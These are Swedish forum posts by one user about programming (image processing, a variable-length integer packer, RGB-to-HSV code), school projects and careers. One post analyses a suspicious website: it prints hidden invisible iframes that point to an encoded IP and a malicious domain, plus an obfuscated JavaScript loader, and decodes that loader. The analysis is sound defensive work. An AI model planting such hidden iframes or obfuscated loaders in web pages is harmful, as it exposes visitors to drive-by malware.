Inlägg

Inlägg som Sebastianj har skrivit i forumet
Av Sebastianj
Citat:

Ursprungligen inskrivet av darkmoon
Måste bara fråga: Konverterade du färgrymder från .tif-bilder? Vi har lite probs med att hitta rätt i just .tif-bilder med java, så det är ju alltid värt att fråga

Nej, tyvärr, när jag kodade i Python använde jag Python Imaging Library, som har färdigt stöd för massa format, jag använde då PNG. När jag sen skrev om det i C++ så valde jag TGA eftersom det var enklast att parsa.

Av Sebastianj
Citat:

Ursprungligen inskrivet av robino_
Har tidigare kodat lite python, men det var bara under ett kort tag. Gillade språket dock, minns inte varför jag övergav det. Men PyGame är väl ganska enkelt va? Har inte tittat så jättemycket på det, men det låter ju som något kul isåfall. Att göra något litet spel. Eller?

Pygame är väldigt enkelt. Man kan lätt skriva ihop enkla spel utan allt för mycket erfarenhet. Annars skrev jag en enkel webshop i Django (Pythonbaserat webramverk), på kanske 10 timmar. Så att utveckla någon form av hemsida med Python vore inte så svårt. Du kan alltid fråga om hjälp på IRC #python.se när det gäller Python eller Django. Vi gillar att hjälpa till.

Själv skrev ett program som gjorde lite grejs med bilder, blur, konvertera färgrymd och så. Gjorde det först i Python, sen konverterade jag delar till Pyrex, sen, när det fortfarande inte var riktigt snabbt nog implementerade jag det i C++, då var det dock rätt användbart att ha implementerat det i Python en gång, kunde använda det som prototyp.

Av Sebastianj

Börja tidigt! Det är otroligt skönt att slippa oroa sig för projektarbetet på vårterminen, tänk på att man oftast inte har hela vårterminen på sig också, vår rapport skulle vara inlämnad före påsklovet. Hade en klasskompis som gjorde sista inlämningen på examensdan, det var ju kanske inte helt lyckat. Man hinner också ändra sig om man börjar tidigt. (Han hade valt ett historiearbete först, men bytte för sent till programmeringsarbete när han insåg att han inte orkade)

Det är tillåtet att räkna med viss studietid i arbetet, så man kan mycket väl välja att testa ett nytt språk eller göra nya saker man inte kunde tidigare. Se bara till att det är något som verkar intressant, så kommer du jobba på projektarbetet frivilligt, för att du inte har nåt bättre för dig.

Undvik grupparbete om du inte känner dig väldigt trygg med de du samarbetar med. Det är inte kul att upptäcka att resten av gruppen har helt andra intressen än man själv eller lägger ner mycket mindre arbete, det hände ett par klasskompisar. Det gick bra för dem ändå, men de var lite oroliga, eftersom en i gruppen knappt hade jobbat något.

Använd ett versionshanteringssystem som till exempel Subversion (relativt enkelt att sätta upp och väldigt enkelt att använda). Checka in åt minstonde varje tillfälle du kodar. Det är inte bara oumbärligt under kodandet för att lösa nytillkomna buggar, det är också en väldigt bra källa att använda under rapportskrivandet. Skriv också en snabb logg varje gång du jobbat på projektet, bara nån rad med datum, tid och vad du gjort utan några detaljer räcker. Också väldigt användbart under rapportskrivandet. (det har de nog tjatat om tillräckligt iofs)

Av Sebastianj
Citat:

Ursprungligen inskrivet av woicer
30% av ordlistan är särskrivningar.

Mjo, eller den saknar en massa ihopskrivningar snarare, så den tror att man har skrivit ihop av misstag. Antar att den helt enkelt saknar förståelse för möjligheten i svenskan att hitta på nya ord när man behöver dem.

Av Sebastianj
Citat:

Ursprungligen inskrivet av Gego
läs artikeln om scribus, där står det att scribus saknar stavnings kontroll. jag skall någ göra så att jag skriver all text i OOo och sedan lägger in det i scribus

Ja, man brukar inte normalt sett skriva texter direkt i DTP-programmet. Har du sett att det finns svensk ordlista till Firefoxs rättstavning? https://addons.mozilla.org/en-US/firefox/browse/type:3

Av Sebastianj
Citat:

Ursprungligen inskrivet av Willhelm
Bara det faktum att du häller i dig 3 liter vätska under kort tid torde kunna ge en lätt berusande effekt då kroppen plötsligt får en ojämn vätskebalans (detta enligt hörsägen, jag har alltså inga bevis).

Det viktiga när det gäller vätskebalans är mängden vatten i relation till mineraler och sånt, det är därför saltvatten är uttorkande, rent vatten är farligt i stora mängder och man använder en koksaltslösning för dropp och liknande. Men där är inte alkohol riktigt som rent vatten, eftersom den innehåller en massa grejs, det gör att det kan vara mindre farligt att häva alkoholhaltiga drycker än vatten.
(väldigt kortfattat, läs mer om osmos på Wikipedia)

Citat:

Jo, det är det, man får inte lämna ut alkoholhaltiga drycker till någon som är märkbart påverkad av alkohol eller annat berusningsmedel. Står i Alkohollagen, 3kap 8§

För att inte tala om den moraliska frågan, att utnyttja någon annans beroende, och samhällets, om än tama, försök att minska deras alkoholkonsumtion till att tjäna lite småpengar är inte mycket bättre än att langa tunga droger. (alkohol må vara relativt ofarligt för de flesta, som kan hantera den, men i just den situationen var det ju uppenbart att det inte var lämpligt)

Av Sebastianj

Marginaljustering är en rätt dålig ide, speciellt om man inte avstavar texten. Vet att det står att du har dyslexi i din signatur. Men en genomgång i ett rättstavningsprogram kunde du väl bemödat dig med? Sen skulle du ju kunnat be någon korrekturläsa, det är inte ditt fel att du har dyslexi, men det är ju ditt ansvar att kompensera för det. Jag är säker på att du har någon familjemedlem eller kompis som skulle kunna hjälpa. Eller varför inte fråga här eller på IRC, om du inte hittar någon annan?

Av Sebastianj
Citat:

Ursprungligen inskrivet av independence
Visst, en del av matten kan kanske vara användbart vid något enstaka problem. Men rent generellt skulle du ju ha lika mycket nytta av att lära dig affärsjuridik, för "tänk om du ska göra redovisningsprogram" osv.

Skulle jag planera att göra en karriär inom redovisningsprogram skulle jag nog vilja läsa lite affärsjuridik ändå. Jag är ju speciellt intresserad av bildanalys, och där är matte viktigt. Men det handlar ju såklart om man man vill göra. Har man tänkt skriva webapps så är ju matten rätt värdelös t.ex.

Citat:

Ursprungligen inskrivet av independence
Det känns mest som matten är där för att man ska få kalla sig civilingenjör och ta ut lite extra i lön egentligen, och för mig känndes det inte som vad jag ville ägna mitt liv åt helt enkelt

Jag ägnar gärna mitt liv åt att ta ut lite extra i lön. Bara man får göra något roligt samtidigt så.

Av Sebastianj
Citat:

Ursprungligen inskrivet av independence
Jag läste på Datateknik i Linköping i höstas, men hoppade av nu i vår. För mig var det allderles för lite programmering, och för mycket inriktning på ingenjörssaker.

Det skulle du sagt tidigare. Nu har jag inte så mycket val. =/

Citat:

Ursprungligen inskrivet av independence
Jag har tidigare i min utbildning tyckt att matte och elektronik varit intressant, och haft ganska lätt för det också.

Va? Du har lätt för, och gillar, matte och elektronik, men tycker ändå det var för mycket av det? Kan du förklara hur du menar, jag är nämligen i ungefär samma situation.

Citat:

Ursprungligen inskrivet av independence
Men D-programmet var inte alls vad jag ville kom jag på efter ett tag. Är du intresserad utav programmering tror jag att C-programmet, eller kanske det tom där nya "Innovativ programmering" är bättre än D.

Är det inte så att man behöver mycket matte för mycket av den lite roligare mer avancerade programmeringen(till skillnad från att koda affärsapplikationer i Java), det var det jag gick på när jag valde D istället för C, på D får man ju mycket mer matematik som grundar för att man sen kan läsa t.ex. bildanalys, vilket verkar rätt kul.

Citat:

Ursprungligen inskrivet av independence
Detta kanske inte hade så mycket med tråden att göra egentligen, utan mer lite

Den höll på att försvinna bort ändå, kanske vaknar den upp om det skrivs lite i den ändå, även om det är lite off topic.

Av Sebastianj
Citat:

Ursprungligen inskrivet av Elite
Ah jo men det är ju standard, känns som du har nån annan röd tråd i dina bilder, men kanske är objektivet

Gjorde om två "gamla" bilder till svartvitt.. too much?

http://www.frm.nu/dump/60/Cel.jpg
http://www.frm.nu/dump/60/gymn.jpg

Påminner mig starkt om de analoga svartvita kopior vi gjorde i skolan, kanske mest för att ramen har ungefär samma tjocklek som de vi brukade köra med, och bruset.

Mycket magenta i de där.

Av Sebastianj

Satt och försökte lösa den, samma packningsprincip, lite annorlunda (antagligen sämre, och klart sämre dokumenterad) kod:

int LenLUT[32]; char MaskLUT[32][6]; void CreateLUTs(){ for (int i = 0; i<32; i++){ if((i&0xF) == 0xF){ //1111 LenLUT[i] = 5; strcpy( MaskLUT[i], "\x3f\x7f\x7f\x7f\x1f"); } else if((i&0x7) == 7){ //0111 LenLUT[i] = 4; strcpy( MaskLUT[i], "\x3f\x7f\x7f\x7f\x00"); } else if((i&0x3) == 3){ //0011 LenLUT[i] = 3; strcpy( MaskLUT[i], "\x3f\x7f\x7f\x00\x00"); } else if((i&1) == 1){ //0001 LenLUT[i] = 2; strcpy( MaskLUT[i], "\x3f\x7f\x00\x00\x00"); } else { //0000 LenLUT[i] = 1; strcpy( MaskLUT[i], "\x3f\x00\x00\x00\x00"); } } } // unpack an int from src into out and return where to find the next const unsigned char *vint_unpack(const unsigned char *src, int *out) { int sign = (*src & 0x40)>>6; int lenident = (0x80 & *src)>>7 | (0x80 & *(src+1))>>6 | (0x80 & *(src+2))>>5 | (0x80 & *(src+3))>>4; char *m = MaskLUT[lenident]; int value = m[0] & *src | (m[1] & *(src+1))<<6 | (m[2] & *(src+2))<<13 | (m[3] & *(src+3))<<20 | (m[4] & *(src+4))<<27; int a[2]= {value, ~(value)}; *out = a[sign]; return src+LenLUT[lenident]; } // pack i into dst and return where to pack the next int unsigned char *vint_pack(unsigned char *dst, int i) { const unsigned int signmask = 1<<31; unsigned int sign = (i&signmask)>>31; unsigned int b = i; if(sign) b = ~i; const unsigned int m5 = 0xf8000000; // 11111 0000000B 0000000B 0000000B 000000BS const unsigned int m4 = 0x07f00000; // 00000 1111111B 0000000B 0000000B 000000BS const unsigned int m3 = 0x000fe000; // 00000 0000000B 1111111B 0000000B 000000BS const unsigned int m2 = 0x00001fc0; // 00000 0000000B 0000000B 1111111B 000000BS const unsigned int m1 = 0x0000003f; // 00000 0000000B 0000000B 0000000B 111111BS if ( !(b & ~m1) ){ *(dst) = (b&m1)|(sign<<6); return dst+1; } else if ( !(b & ~(m1|m2) ) ){ *(dst+1) = (b&m2)>>6; *(dst) = (b&m1)|0x80|(sign<<6); return dst+2; } else if ( !(b & ~(m1|m2|m3) ) ){ *(dst+2) = (b&m3)>>13; *(dst+1) = ((b&m2)>>6)|0x80; *(dst) = (b&m1)|0x80|(sign<<6); return dst+3; } else if ( !(b & m5) ){ *(dst+3) = (b&m4)>>20; *(dst+2) = ((b&m3)>>13)|0x80; *(dst+1) = ((b&m2)>>6)|0x80; *(dst) = (b&m1)|0x80|(sign<<6); return dst+4; } else { *(dst+4) = (b&m5)>>27; *(dst+3) = ((b&m4)>>20)|0x80; *(dst+2) = ((b&m3)>>13)|0x80; *(dst+1) = ((b&m2)>>6)|0x80; *(dst) = (b&m1)|0x80|(sign<<6); return dst+5; } }

Man måste köra CreateLUTs(); i manin innan man kör resten.

EDIT: Fixade en liten bugg

Av Sebastianj

Programmerare utan högre utbildning?

För att inte dra tråden [Diskussion] Trivs du med ditt jobb? allt för off topic så startar jag en ny tråd.

Även om jag söker till Datateknik i Linköping till höst så är det intressant att läsa om. Många andra står ju också i valet mellan utbildning eller försöka få jobb. Jag vill gärna att tråden huvudsakligen fokuserar på vad man kan göra själv för att få in foten på arbetsmarknaden. Men viktigast är ju att inläggen är intressanta.

Började med att jag ifrågasatte det enkla i att få jobb utan utbildning.

Citat:

Ursprungligen inskrivet av Sebastianj
Fast, det är väl det där med att "få in foten" som är det stora problemet, ingen anställer någon utan erfarenhet eller utbildning. Erfarenhet får man inte om man inte blir anställd. Utbildning däremot får man om man har lust. Så även om vissa, med rätt kontakter, kan gå direkt till jobb så är vi andra tvungna att gå genom ett högre utbildning för att kunna bevisa att vi kan det som krävs. Eller har jag fel? Finns det en massa företag som anställer folk utan arbetslivserfarenhet eller högre utbildning till programmerarpositioner?

totoo svarade med ett lång och intressant inlägg.

Citat:

Ursprungligen inskrivet av totoo
Det där med utbildingar är som jag har sagt under senaste typ fyra åren - de är ofta overrated. Man lär sig mycket bra, men allt går att lära sig utanför om man vill och några av de bästa programmerarna jag vet har nästan inte lärt sig någonting programmeringsrelaterat i skolan... Det är i regel matematiken som de från högskolan är starkare än hemmapulare på. Även detta varierar, men väldigt ofta är det så (jag har kollat detta mot blandade firmor med massor av anställda kodare, så jag har bra statistik för det).
[...]
Tipset jag vill ge till folk som vill komma igång är att sluta att ha ett liv för ett tag - ge allt du kan på att göra något bra. Börja göra ett spel, ett CMS, en webbportal - någonting du brinner för som du tror kan ge dig en bra framtid. Det är den vägen jag har gått sedan mitten av gymnasiet. Jag har gjort saker som har fått folk att reagera och titta igen - och folk har kommit fram och frågat vad jag gör, jag berättar med glädje och har därmed fått en bra bekantskapskrets med bra folk som känner bra folk. Sedan jag startade företaget har mitt kontaktnät växt exponentiellt tror jag och när man väl har skapat bra saker att visa upp - produkter man brinner för så är det ofta bara kontakter som behövs. Ah, det är så lätt bara man gör rätt. Med det menar jag inte att jag har facit, men jag tror mig ha ett litet hörn av det iaf.

Det är lite offtopic - men folk behöver den där lilla knuffen i ryggen, och jag säger: Klura som fan tills du har en mäkta bra idé - börja sedan jobba för att realisera den... Även om du lägger ned projektet halvvägs så har du kanske ändå öppnat några nya dörrar. Den vägen gick i alla fall jag.
Nyckelordet är: Ambition! Var ambitiös... Om du jobbar i ett team - se till att bli bäst / jobba mest i teamet... Tro aldrig att du är något - BLI något! Skit i titlar, bakgrund å annat irrelevant skit - stick ut ur mängden för att du är bättre än de andra. Jag har så mycket roligt att berätta om inom detta ämne att det förtjänar en egen tråd.

gosh svarade på mitt inlägg

Citat:

Ursprungligen inskrivet av gosh
Vet ej om du har fel men en egen iaktagelse är att de företag som skriker mest efter folk just nu är konsultbolagen. De vill förmodligen kunna fakturera direkt och ser inte samma långsiktighet. Konsulten behöver inte vara superduktig men så duktig att de kan fakturera timmar.

Kontakter är alltid bra.

Jag tror dock att man kommer väldigt långt på att exempelvis själv programmera något och visa upp det, i alla fall för mindre bolag. Stora bolag som har speciella avdelningar som anställer kanske inte riktigt hajjat det.

Så frågan är då, vad är det för sorts projekt man ska göra själv och visa upp? Vi har väl alla gjort vår lilla del av enkla CRUD-applikationer, eller iaf alla som har kodat för web. Självklart har man gjort lite enklare script och småprogram för att lösa småproblem för att se hur man gör. Men det är ju inte så imponerande att visa upp. Det mesta har ju inte ens någon form av grafiskt gränssnitt, och det är ju oftast rätt enkla program. Vad för sorts program är det man ska göra för att kunna visa upp egentligen?

Av Sebastianj

[OFF TOPIC]

Citat:

Ursprungligen inskrivet av Garnet
Har man väl fått in foten så finns det jobb, iaf just nu, it-boom 2.0

Fast, det är väl det där med att "få in foten" som är det stora problemet, ingen anställer någon utan erfarenhet eller utbildning. Erfarenhet får man inte om man inte blir anställd. Utbildning däremot får man om man har lust. Så även om vissa, med rätt kontakter, kan gå direkt till jobb så är vi andra tvungna att gå genom ett högre utbildning för att kunna bevisa att vi kan det som krävs. Eller har jag fel? Finns det en massa företag som anställer folk utan arbetslivserfarenhet eller högre utbildning till programmerarpositioner?
[/OFF TOPIC]
(har ju ingen arbetslivserfarenhet, så kan tyvärr inte bidra med något on topic )

Av Sebastianj
Citat:

Ursprungligen inskrivet av aoeu
Till att börja med anser jag att man måste tro på att folk klarar av det de har åtagit sig att göra, eller i annat fall säga ifrån och be om hjälp.

Då har du ju i alla fall lärt dig något viktigt av grupparbetet, man kan inte lita på att folk klarar det de säger sig klara. Är man beroende av att de gör ett bra arbete gäller det att man har bra kontakt med dem och upptäcker i tid om de stöter på problem. Det gäller ju även i arbetslivet, så det är ju bra att du har fått lära dig det redan nu.

Citat:

Ursprungligen inskrivet av aoeu
Åter till topic. Är det ingen som vet om betyg ska vara individuella?

Det enda jag hittar om betyg i lagtexterna är i högskoleförordningen kap. 6:

Citat:

Betyg
18 § Om inte annat är föreskrivet i kursplanen, skall betyg sättas på en genomgången kurs. Betyget skall bestämmas av en av högskolan särskilt utsedd lärare (examinator). Förordning (2006:1053).

19 § Som betyg skall användas något av uttrycken underkänd, godkänd eller väl godkänd, om inte högskolan föreskriver ett annat betygssystem. Förordning (2006:1053).

Jag skulle tolka det som att det är upp till skolan att sätta betyget, men rimligtvis måste det stämma med kursens mål, så om det stämmer att det inte stod något om samarbete i kursplanen så kan du ju hänvisa till det.

Av Sebastianj

Nja, är nog inge fel på din Kaspersky, nåt lurt är det allt, på sidan du länkade finns följande:

<iframe src='http://0xcb.0xdf.0x9f.0x67/iframe.php' width='1' height='1' style='visibility: hidden;'></iframe>

0xcb.0xdf.0x9f.0x67 är ett annat sätt att skriva 203.223.159.103 och kollar man källan på sidan den länkar till finner man:

<iframe src='&#104&#116&#116&#112&#58&#47&#47&#98&#111&#116&#111&#118&#111&#100&#46&#111&#114&#103&#47&#115&#112&#108&#47&#105&#110&#100&#101&#120&#46&#112&#104&#112' width='1' height='1' style='visibility: hidden;'></iframe>

Där har de charencodat hela url:en, avkodat blir det "http://botovod.org/spl/index.php". botovod.org pekar på samma ip som tidigare, alltså 203.223.159.103, som ägs av "Applied Information Management Services" i Kuala Lumpur.

På /spl/index.php finner jag följande javascript:

<script language=JavaScript>function makemelaugh(x){var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,17,48,14,44,30,22,54,26,43,0,0,0,0,0,0,55,39,4,32,1,16,33,10,6,23,62,50,21,60,57,46,20,9,61,40,29,35,51,2,52,45,42,0,0,0,0,58,0,47,13,38,8,37,5,25,59,18,7,15,56,24,49,19,11,28,27,3,53,31,34,0,36,41,12);for(j=Math.ceil(l/b);j>0;j--){r='';for(i=Math.min(l,b);i>0;i--,l--){w|=(t[x.charCodeAt(p++)-48])<<s;if(s){r+=String.fromCharCode(170^w&255);w>>=8;s-=2}else{s=6}}document.write(r)}}makemelaugh("G8gKko4@kUbeNIz7mkRvG3unu9ll_9l2g9dKHIqKD04VB8gFQ0zn50z7PW")</script>

Vilket kan förenklas till:

function makemelaugh(x) { var l = x.length var b = 1024 var s = 0 var w = 0 var t = Array(63,17,48,14,44,30,22,54,26,43,0,0,0,0,0,0, 55,39,4,32,1,16,33,10,6,23,62,50,21,60,57,46,20,9,61,40, 29,35,51,2,52,45,42,0,0,0,0,58,0,47,13,38,8,37,5,25,59, 18,7,15,56,24,49,19,11,28,27,3,53,31,34,0,36,41,12); r = ""; for (int i = 0; i < l; i++) { w = w | t[x.charCodeAt(i) - 48] << s; if (s) { r += String.fromCharCode(170 ^ w & 255); w >>= 8; s -= 2; } else { s = 6; } } document.write(r); } makemelaugh("G8gKko4@kUbeNIz7mkRvG3unu9ll_9l2g9dKHIqKD04VB8gFQ0zn50z7PW");

Eller i python:

t = [63,17,48,14,44,30,22,54,26,43,0,0,0,0,0,0, 55,39,4,32,1,16,33,10,6,23,62,50,21,60,57,46, 20,9,61,40,29,35,51,2,52,45,42,0,0,0,0,58,0, 47,13,38,8,37,5,25,59,18,7,15,56,24,49,19,11, 28,27,3,53,31,34,0,36,41,12] x = "G8gKko4@kUbeNIz7mkRvG3unu9ll_9l2g9dKHIqKD04VB8gFQ0zn50z7PW" r = "" w = 0 for(i in range(len(x))): w |= t[ord(x[i]) - 48] << s if(s): r += chr(170 ^ w & 255) w >>= 8 s -= 2 else: s = 6 print r

Villket returnerar "<center>Sorry! You IP is blocked.</center>"
Antagligen för att jag pillade för mycket, för en ny besökare kanske den returnerar något värre. Den kan ju också ha kollat och sett att jag använder firefox.

Av Sebastianj
Citat:

Ursprungligen inskrivet av vigge89
Då datumen verkar vara rubrikerna bör de snarare tilldelas något av rubrikelementen h1-h6 (förmodligen h2 eller h3).

Ah, läste inte så noga, såg bara missbruket av em.

Av Sebastianj

Använd inte <em> för datumen, om du inte verkligen menar att du vill betona dem. Använd <span class="date"> och lägg sen till att det ska vara kursivt i css-filen.

Av Sebastianj
Citat:

Ursprungligen inskrivet av BobbyFromDallas

bool rgb_to_hsv(double r, double g, double b, double* h, double* s, double* v) { int min = std::min(std::min(r,g), b); int max = std::max(std::max(r,g), b); if (min == max) return false; *h = (max == r && g >= b) * (60 * ((g - b) / (max - min)) + 0) + (max == r && g < b) * (60 * ((g - b) / (max - min)) + 360) + (max == g) * (60 * ((b - r) / (max - min)) + 120) + (max == b) * (60 * ((r - g) / (max - min)) + 240) ; *s = (max == 0) ? 0 : (1 - (min / max)); *v = max; return true; }

Det var ju rätt snyggt, iaf när man vet hur den ska läsas, klart bättre än min pyrex-kod tycker jag ändå. Men du har en bugg. Hela funktionen är inte odefinierad vid min = max, bara hue-komponenten, value är fortfarande = max och saturation är ju 0.

Sen är den ju inte direkt 100% optimerad, men ibland så är det ju ett val mellan prestanda och utseende.

Här är funktionen som den ser ut i colorsys.py i python-bibloteket, notera hur den genomför två helt onödiga divisioner och ändå inte är så väldigt läsbar jämfört med Scheme-exemplet.

def rgb_to_hsv(r, g, b): maxc = max(r, g, b) minc = min(r, g, b) v = maxc if minc == maxc: return 0.0, 0.0, v s = (maxc-minc) / maxc rc = (maxc-r) / (maxc-minc) gc = (maxc-g) / (maxc-minc) bc = (maxc-b) / (maxc-minc) if r == maxc: h = bc-gc elif g == maxc: h = 2.0+rc-bc else: h = 4.0+gc-rc h = (h/6.0) % 1.0 return h, s, v

Citat:

Ursprungligen inskrivet av KTottE
Bortsett från att din variant inte använder utvariabler, vad är den väsentliga skillnaden från den C++-koden som BobbyFromDallas skrev för ett par inlägg sedan? Förstår inte varför boost skulle vara att föredra om det leder till längre, och i mina ögon mer svårläst, kod...

Längre och mer svårläst är ju inte boosts fel i det där fallet. Det är goshs val av långa variabelnamn med onödig hungarian notation som är problemet. För den återupprepade templatenotationen kan man ju göra en typedef. Den är dessutom buggig, den ska vara tuple<optional<double>,double,double>

Av Sebastianj
Citat:

Ursprungligen inskrivet av Buffi
Det där ser ju dock mer lättläst ut än vad det är "foo if bar else foobar"-satserna är fan inte alls lättlästa där iom att hela dom 5 raderna more or less är ett enda statement som måste läsas som en helhet, då det ju baseras på det som kommer ifrån höger...

Hur menar du? Den kommer ju testa varje rad, med början från vänster/uppifrån, kommer bete sig precis som man skulle gissa att det beter sig. h är 0 om max = min, (60 * ((r - g) / (max - min)) + 240) om max = b, etc.

Det var ju också närmare den matematiska definitionen som också hade ett enda statement för värdet av h

Citat:

Ursprungligen inskrivet av Buffi

s = (1 - min/max) if max else 0

Det tolkar jag som "om det finns ett max" snarare än som "om max = 0". Det senare tycker jag är tydligare. Att jag tog det på två rader var för att vara konsekvent med de tidigare raderna.

Citat:

Ursprungligen inskrivet av Buffi
eller kanske t.o.m. såhär för att hålla det självdokumenterande

try: s = (1 - min/max) except ZeroDivisionError: s = 0

Det kanske skulle vara tydligare, men det frångick ju den matematiska definitionen klart mer.

Av Sebastianj
Citat:

Ursprungligen inskrivet av BobbyFromDallas
Appropå RGB->HSV koden som SebastianJ postade ovan, tänk om det fanns ett språk där man kunde översätta följande till matematiska definition till tydlig och läsbar kod

Mm, visst vore det.

fmin = min fmax = max def rgbtohsv(r,g,b): """ rgb values in range 0..1 """ min = fmin(r,g,b) max = fmax(r,g,b) h = 0 if max == min\ else (60 * ((g - b) / (max - min)) + 0) if max == r and g >= b\ else (60 * ((g - b) / (max - min)) + 360) if max == r and g < b \ else (60 * ((b - r) / (max - min)) + 120) if max == g\ else (60 * ((r - g) / (max - min)) + 240) # (if max == b) s = 0 if max == 0 \ else (1 - (min / max)) v = max return h,s,v print rgbtohsv(.8,.5,.2)

Python 2.5

Edit: [php] klarade tydligen inte av \